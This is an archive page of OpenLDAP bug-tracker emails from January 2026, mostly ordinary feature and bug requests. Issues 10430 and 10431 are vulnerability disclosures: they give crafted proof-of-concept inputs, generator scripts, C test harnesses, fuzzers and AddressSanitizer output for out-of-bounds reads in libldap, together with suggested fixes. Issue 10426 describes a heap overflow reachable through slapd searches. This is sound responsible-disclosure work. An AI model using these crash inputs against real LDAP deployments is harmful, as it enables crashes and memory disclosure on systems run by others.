openldap-bugs

openldap-bugs@openldap.org

1 participants
21123 discussions

[Issue 10432] New: filter with typo'ed attribute name causes 0 results
by openldap-its＠openldap.org 27 Jan '26

27 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10432 Issue ID: 10432 Summary: filter with typo'ed attribute name causes 0 results Product: OpenLDAP Version: 2.6.7 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: simon.leary42(a)proton.me Target Milestone: --- Here is a filter for posixAccount entries missing the sshPublicKey attribute: ``` (&(objectClass=posixAccount)(!(sshPublicKey=*))) ``` It works normally. If I made a typo and instead searched for entries missing some other bogus attribute name: ``` (&(objectClass=posixAccount)(!(ssshPublicKey=*))) ``` I get 0 results. None of my posixAccounts have an `ssshPublicKey` attribute, so I would think that the right half of my filter should be always true. So every posixAccount should be returned. Am I wrong to think that? Note: the `!(foo=*)` syntax comes from [stackoverflow](https://stackoverflow.com/questions/14441529/ldap-filter-for… -- You are receiving this mail because: You are on the CC list for the issue.

1 1

[Issue 10428] New: Make larger key sizes available at compile time
by openldap-its＠openldap.org 27 Jan '26

27 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10428 Issue ID: 10428 Summary: Make larger key sizes available at compile time Product: LMDB Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: liblmdb Assignee: bugs(a)openldap.org Reporter: marlowsd(a)gmail.com Target Milestone: --- I discovered that I can increase the key size to 1982 bytes with the following patch ``` *************** *** 1053,1059 **** #define METADATA(p) ((void *)((char *)(p) + PAGEHDRSZ)) /** ITS#7713, change PAGEBASE to handle 65536 byte pages */ ! #define PAGEBASE ((MDB_DEVEL) ? PAGEHDRSZ : 0) /** Number of nodes on a page */ #define NUMKEYS(p) ((MP_LOWER(p) - (PAGEHDRSZ-PAGEBASE)) >> 1) --- 1054,1061 ---- #define METADATA(p) ((void *)((char *)(p) + PAGEHDRSZ)) /** ITS#7713, change PAGEBASE to handle 65536 byte pages */ ! #define PAGEBASE PAGEHDRSZ ! // #define PAGEBASE ((MDB_DEVEL) ? PAGEHDRSZ : 0) /** Number of nodes on a page */ #define NUMKEYS(p) ((MP_LOWER(p) - (PAGEHDRSZ-PAGEBASE)) >> 1) ``` and then passing `-DMDB_MAXKEYSIZE=0` at compile time. I didn't want to use `MDB_DEVEL` because this is for a production use case. Is this feature ready to be widely used? If so, could it be given a compile-time (or run-time) flag please? Background: this is for Glean (https://github.com/facebookincubator/Glean/pull/663), this page explains our DB structure https://glean.software/docs/implementation/db/. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10132] New: manage syncrepl as a cn=config entry
by openldap-its＠openldap.org 27 Jan '26

27 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10132 Issue ID: 10132 Summary: manage syncrepl as a cn=config entry Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- Maybe it being exposed through both places (olcSyncrepl and the entry) could be a way to manage the transition (unless we have a way to handle cn=config schema upgrades internally). Uncertain as to how that affects cn=config replication. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 7392] ACL a_dn.a_self is skipped in case of "acl_mask: to all values ..."
by openldap-its＠openldap.org 27 Jan '26

27 Jan '26

1 0

[Issue 10430] New: Heap Buffer Overflow in parse_whsp causes Out-of-Bounds Read
by openldap-its＠openldap.org 27 Jan '26

27 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10430 Issue ID: 10430 Summary: Heap Buffer Overflow in parse_whsp causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: zesheng(a)tamu.edu Target Milestone: --- ## Summary A heap buffer overflow vulnerability in OpenLDAP's `parse_whsp()` function allows an attacker to trigger out-of-bounds memory reads when parsing malformed LDAP schema definitions, potentially leading to information disclosure or crashes. ## Root Cause The vulnerability exists in `libraries/libldap/schema.c` at line 1090. The `parse_whsp()` function iterates through a string checking for whitespace characters using `LDAP_SPACE()` macro, but does not verify that the pointer stays within the allocated buffer bounds. When parsing malformed schema strings that end unexpectedly, the function reads beyond the heap buffer. ### Vulnerable Code (schema.c:1086-1092) ```c /* Gobble optional whitespace */ static void parse_whsp(const char **sp) { while (LDAP_SPACE(**sp)) // BUG: no bounds check, can read past buffer (*sp)++; } ``` ### LDAP_SPACE Macro (ldap_pvt.h:255) ```c #define LDAP_SPACE(c) ((c) == ' ' || (c) == '\t' || (c) == '\n') ``` The macro checks for space/tab/newline but does NOT check for null terminator. If the heap memory immediately after the allocated buffer happens to contain whitespace bytes (0x20, 0x09, 0x0a), the function continues reading out of bounds. ## PoC ### Trigger file A crafted schema string (`poc`, 49 bytes) that triggers the overflow: ``` (13.5 NAME 'caseExactMatch' SYNTAX 'nooideithe1r. ``` ``` hexdump -C poc: 00000000 28 31 33 2e 35 20 4e 41 4d 45 20 27 63 61 73 65 |(13.5 NAME 'case| 00000010 45 78 61 63 74 4d 61 74 63 68 27 20 53 59 4e 54 |ExactMatch' SYNT| 00000020 41 58 20 27 6e 6f 6f 69 64 65 69 74 68 65 31 72 |AX 'nooideithe1r| 00000030 2e |.| ``` ### How to generate poc ```python # generate_poc.py data = b"(13.5 NAME 'caseExactMatch' SYNTAX 'nooideithe1r." with open("poc", "wb") as f: f.write(data) ``` --- ## Trigger Method 1: Direct API Call ```c // test_schema.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldap_schema.h> int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET); char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f); int code = 0; const char *errp = NULL; // This triggers the vulnerability LDAPAttributeType *at = ldap_str2attributetype(input, &code, &errp, LDAP_SCHEMA_ALLOW_ALL); if (at) { ldap_attributetype_free(at); } free(input); return 0; } ``` **Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make # Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_schema.c -o test_schema -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs ./test_schema ``` **Output:** ``` ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x506000000052 at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x506000000052 thread T0 #0 0x... in parse_whsp libraries/libldap/schema.c:1090:9 #1 0x... in ldap_str2attributetype libraries/libldap/schema.c:2313:5 0x506000000052 is located 0 bytes after 50-byte region [0x506000000020,0x506000000052) allocated by thread T0 here: #0 0x... in malloc #1 0x... in main test_schema.c:... SUMMARY: AddressSanitizer: heap-buffer-overflow schema.c:1090:9 in parse_whsp ``` --- ## Trigger Method 2: Fuzzer ```c // fuzz_schema.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldap_schema.h> static const unsigned int flags[] = { LDAP_SCHEMA_ALLOW_NONE, LDAP_SCHEMA_ALLOW_NO_OID, LDAP_SCHEMA_ALLOW_QUOTED, LDAP_SCHEMA_ALLOW_DESCR, LDAP_SCHEMA_ALLOW_ALL, }; #define NUM_FLAGS (sizeof(flags) / sizeof(flags[0])) int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 16384) return 0; char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0'; int code = 0; const char *errp = NULL; // Test ldap_str2attributetype with different flags for (size_t i = 0; i < NUM_FLAGS; i++) { code = 0; errp = NULL; LDAPAttributeType *at = ldap_str2attributetype(input, &code, &errp, flags[i]); if (at) { ldap_attributetype_free(at); } } // Test ldap_str2objectclass for (size_t i = 0; i < NUM_FLAGS; i++) { code = 0; errp = NULL; LDAPObjectClass *oc = ldap_str2objectclass(input, &code, &errp, flags[i]); if (oc) { ldap_objectclass_free(oc); } } free(input); return 0; } ``` **Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_schema.c -o fuzz_schema -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs mkdir corpus && cp poc corpus/ ./fuzz_schema corpus/ ``` --- ## Impact | Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious schema definition string | | **Affected Components** | `parse_whsp()`, `ldap_str2attributetype()`, `ldap_str2objectclass()`, libldap | | **Affected Applications** | Any application using libldap to parse LDAP schema definitions | | **CWE** | CWE-125 (Out-of-bounds Read) | --- ## Suggested Fix Add bounds checking in `parse_whsp()` to ensure it doesn't read past the null terminator: ```c static void parse_whsp(const char **sp) { while (**sp && LDAP_SPACE(**sp)) // Add null check (*sp)++; } ``` Note: `LDAP_SPACE('\0')` is false (0x00 is not space/tab/newline), so the issue only occurs when adjacent heap memory contains whitespace bytes. However, adding an explicit null check makes the code more robust and clearly documents the termination condition. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 10431] New: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read
by openldap-its＠openldap.org 27 Jan '26

27 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10431 Issue ID: 10431 Summary: Stack Buffer Underflow in ldif_read_record causes Out-of-Bounds Read Product: OpenLDAP Version: unspecified Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: zesheng(a)tamu.edu Target Milestone: --- # Summary A stack buffer underflow vulnerability in OpenLDAP's `ldif_read_record()` function allows an attacker to trigger out-of-bounds memory reads when processing malformed LDIF data, potentially leading to information disclosure or crashes. ## Root Cause The vulnerability exists in `libraries/libldap/ldif.c` at line 803. When `fgets()` returns NULL and sets `len = 0`, the loop increment expression `last_ch = line[len-1]` accesses `line[-1]`, causing a stack buffer underflow. ### Vulnerable Code (ldif.c:799-803) ```c int ldif_read_record( LDIFFP *lfp, unsigned long *lno, char **bufp, int *buflenp ) { char line[LDIF_MAXLINE], *nbufp; // line buffer starts at offset 32 ber_len_t lcur = 0, len; int last_ch = '\n', found_entry = 0, stop, top_comment = 0; for ( stop = 0; !stop; last_ch = line[len-1] ) { // BUG: when len=0, accesses line[-1] // ... if ( fgets( line, sizeof( line ), lfp->fp ) == NULL ) { // ... stop = 1; len = 0; // len is set to 0 here } // ... } // At loop increment: line[len-1] = line[-1] = UNDERFLOW! } ``` ## PoC ### Trigger file A crafted LDIF file (`poc`, 27 bytes) that triggers the underflow: ``` hexdump -C poc: 00000000 00 00 00 00 01 00 00 00 64 74 65 21 73 74 2c 64 |........dte!st,d| 00000010 63 3d ff 65 78 64 63 73 74 77 6f |c=.exdcstwo| ``` ### How to generate poc ```python # generate_poc.py data = bytes([ 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x64, 0x74, 0x65, 0x21, 0x73, 0x74, 0x2c, 0x64, 0x63, 0x3d, 0xff, 0x65, 0x78, 0x64, 0x63, 0x73, 0x74, 0x77, 0x6f ]) with open("poc", "wb") as f: f.write(data) ``` --- ## Trigger Method 1: Direct API Call ```c // test_ldif.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h> int main(int argc, char **argv) { FILE *f = fopen("poc", "rb"); fseek(f, 0, SEEK_END); long size = ftell(f); fseek(f, 0, SEEK_SET); char *input = malloc(size + 1); fread(input, 1, size, f); input[size] = '\0'; fclose(f); LDIFFP *fp = ldif_open_mem(input, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; // This triggers the vulnerability ldif_read_record(fp, &lineno, &buf, &buflen); if (buf) ber_memfree(buf); ldif_close(fp); } free(input); return 0; } ``` **Build and run:** ```bash # Build OpenLDAP with AddressSanitizer cd openldap ./configure CC=clang CFLAGS="-fsanitize=address -g" --without-tls make # Compile and run test clang -fsanitize=address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ test_ldif.c -o test_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs ./test_ldif ``` **Output:** ``` ==PID==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7fff... at pc 0x... bp 0x... sp 0x... READ of size 1 at 0x7fff... thread T0 #0 0x... in ldif_read_record libraries/libldap/ldif.c:803:37 Address 0x7fff... is located in stack of thread T0 at offset 31 in frame #0 0x... in ldif_read_record libraries/libldap/ldif.c:798 This frame has 1 object(s): [32, 4128) 'line' (line 799) <== Memory access at offset 31 underflows this variable SUMMARY: AddressSanitizer: stack-buffer-underflow ldif.c:803:37 in ldif_read_record ``` --- ## Trigger Method 2: Fuzzer ```c // fuzz_ldif.c #include <stdint.h> #include <stddef.h> #include <stdlib.h> #include <string.h> #include <ldap.h> #include <ldif.h> int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { if (size == 0 || size > 65536) return 0; char *input = (char *)malloc(size + 1); if (!input) return 0; memcpy(input, data, size); input[size] = '\0'; char *mem_copy = (char *)malloc(size + 1); if (mem_copy) { memcpy(mem_copy, data, size); mem_copy[size] = '\0'; LDIFFP *fp = ldif_open_mem(mem_copy, size, "r"); if (fp) { unsigned long lineno = 0; char *buf = NULL; int buflen = 0; int count = 0; while (count < 100) { int rc = ldif_read_record(fp, &lineno, &buf, &buflen); if (rc <= 0) break; count++; } if (buf) ber_memfree(buf); ldif_close(fp); } free(mem_copy); } free(input); return 0; } ``` **Build and run:** ```bash clang -fsanitize=fuzzer,address -g -I include \ -L libraries/libldap/.libs -L libraries/liblber/.libs \ fuzz_ldif.c -o fuzz_ldif -lldap -llber \ -Wl,-rpath,libraries/libldap/.libs:libraries/liblber/.libs mkdir corpus && cp poc corpus/ ./fuzz_ldif corpus/ ``` --- ## Impact | Aspect | Details | |--------|---------| | **Type** | Out-of-Bounds Read / Information Disclosure | | **Severity** | High | | **Attack Vector** | Malicious LDIF file | | **Affected Components** | `ldif_read_record()`, libldap | | **Affected Applications** | Any application using libldap to parse LDIF (slapadd, ldapmodify, custom apps) | | **CWE** | CWE-124 (Buffer Underwrite / Buffer Underflow) | --- ## Suggested Fix Add a check to ensure `len > 0` before accessing `line[len-1]`: ```c for ( stop = 0; !stop; ) { // ... existing code ... // At end of loop body, before continuing: if (len > 0) { last_ch = line[len-1]; } // Or move len=0 case handling before the loop increment } ``` Alternative fix - initialize `len` to a safe value and guard the access: ```c for ( stop = 0; !stop; last_ch = (len > 0) ? line[len-1] : '\n' ) { ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 1

[Issue 10427] New: ldapsearch(1) incorrectly documents OID-based search option
by openldap-its＠openldap.org 20 Jan '26

20 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10427 Issue ID: 10427 Summary: ldapsearch(1) incorrectly documents OID-based search option Product: OpenLDAP Version: 2.6.10 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: client tools Assignee: bugs(a)openldap.org Reporter: michael.osipov(a)innomotics.com Target Milestone: --- Created attachment 1109 --> https://bugs.openldap.org/attachment.cgi?id=1109&action=edit Git-formatted patch Docs/manpage for -E say: [!]<oid>[=:<value>|::<b64value>] But it does not work: > $ ldapsearch -Y GSSAPI -O maxssf=1 -E '!1.2.840.113556.1.4.1340::MAYSBAAAAAI=' -o ldif-wrap=no -H ldap://innomotics.net "(objectClass=dnsNode1)" Invalid search extension name: 1.2.840.113556.1.4.1340::MAYSBAAAAAI It is '=::': > $ ldapsearch -Y GSSAPI -O maxssf=1 -E '!1.2.840.113556.1.4.1340=::MAYSBAAAAAI=' -o ldif-wrap=no -H ldap://innomotics.net "(objectClass=dnsNode1)" > SASL/GSSAPI authentication started Attached is a simple patch to fix it. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 10426] New: liblber: ber_get_stringbvl integer overflow enables heap buffer overflow via {M} parsing (32-bit builds)
by openldap-its＠openldap.org 20 Jan '26

20 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10426 Issue ID: 10426 Summary: liblber: ber_get_stringbvl integer overflow enables heap buffer overflow via {M} parsing (32-bit builds) Product: OpenLDAP Version: 2.6.10 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: lukas(a)artiphishell.com Target Milestone: --- Created attachment 1105 --> https://bugs.openldap.org/attachment.cgi?id=1105&action=edit build.sh ## Issue description Vulnerable location: `libraries/liblber/decode.c` in `ber_get_stringbvl()` Root cause: in the first pass that counts elements, `tot_size += siz` is performed with `ber_len_t` and no overflow check. On 32-bit builds, a large BER sequence (e.g., SearchRequest attributes parsed via `{M}`) wraps `tot_size`. The allocation uses the wrapped value (`ber_memalloc_x(tot_size + siz, ...)`), producing an undersized buffer. The second pass then writes `i` elements into the vector (BvOff mode for `{M}`), advancing `tot_size` by `siz` and storing `struct berval` at `res.bo + tot_size`, which overruns the allocation. Call path observed in the ASAN trace: `slapd` -> `do_search` (`servers/slapd/search.c:145`, `ber_scanf("{M}}")`) -> `ber_scanf` (`libraries/liblber/decode.c:815`) -> `ber_get_stringbvl` (`libraries/liblber/decode.c:471`) -> heap buffer overflow. ## Reproduction Steps Build instructions: ```bash mkdir /tmp/openldap-ber-get-stringbvl-overflow cd /tmp/openldap-ber-get-stringbvl-overflow # create the following files in this directory chmod +x build.sh poc.sh git clone https://github.com/openldap/openldap ./build.sh ./openldap # Run the PoC ./poc.sh ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 6

[Issue 10403] New: Add a configuration directive that uses the OpenSSL CONF API to allow openldap config files to set any configuration supported by that API, and to get new OpenSSL configuration capabilities through that API with no changes in openldap.
by openldap-its＠openldap.org 15 Jan '26

15 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10403 Issue ID: 10403 Summary: Add a configuration directive that uses the OpenSSL CONF API to allow openldap config files to set any configuration supported by that API, and to get new OpenSSL configuration capabilities through that API with no changes in openldap. Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: stephen.wall(a)redcom.com Target Milestone: --- Created attachment 1090 --> https://bugs.openldap.org/attachment.cgi?id=1090&action=edit Add a configuration directive that uses the OpenSSL CONF API to allow openldap config files to set any configuration supported by that API, and to get new OpenSSL configuration capabilities through th I am submitting a patch to create a new directive for OpenLDAP config files that uses the OpenSSL SSL_CONF API to allow configuration of any aspect of OpenSSL that the API supports without adding specific directives to OpenLDAP for them. When OpenSSL extends that API, all versions of OpenLDAP with thie patch will also support those extensions with no additional code. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10421] New: mdb_load can crash on malicious input
by openldap-its＠openldap.org 15 Jan '26

15 Jan '26

https://bugs.openldap.org/show_bug.cgi?id=10421 Issue ID: 10421 Summary: mdb_load can crash on malicious input Product: LMDB Version: 0.9.14 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: minor Priority: --- Component: tools Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- This is being reported as a DOS vulnerability, which is incorrect. https://www.socdefenders.ai/item/01d72f7a-9622-4384-a936-d99925a19a8f mdb_load is a command-line tool, not a server nor a library function that could be run in a server. There is no service to deny. Reading a line containing an embedded NUL byte may cause mdb_load to crash, but as it's a one-shot commandline tool such crashes have no consequences. The report claims "heap metadata leak" which is also irrelevant since this is a one-shot tool and the only potential metadata is that which was contained in the input file, whose contents are already known to the attacker. The report is supposedly released under "responsible disclosure" and yet it was never reported directly to the OpenLDAP Project (not in this bug tracker nor anywhere else). This despite the fact that the reporter clearly knows that mdb_load is a piece of OpenLDAP software. https://seclists.org/fulldisclosure/2026/Jan/5 The malicious input file must be constructed with a valid header and a line containing a single space followed by a single NUL byte. The dump/load file format only uses printable characters, so an embedded NUL byte never occurs in valid files. It is unclear why any DB admin would ever fall victim to such a malicious input. The mdb_load utility is only used to load files generated by mdb_dump, and mdb_dump will never produce such an invalid file. If an attacker went to the trouble to binary patch a dump file to create this crashing character sequence, they clearly have enough privileges to read and alter any other relevant files, so this crash doesn't give them any particular advantage. Nor does the crash reveal any memory content that they don't already know. -- You are receiving this mail because: You are on the CC list for the issue.

1 3

Jump to page:

2026

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs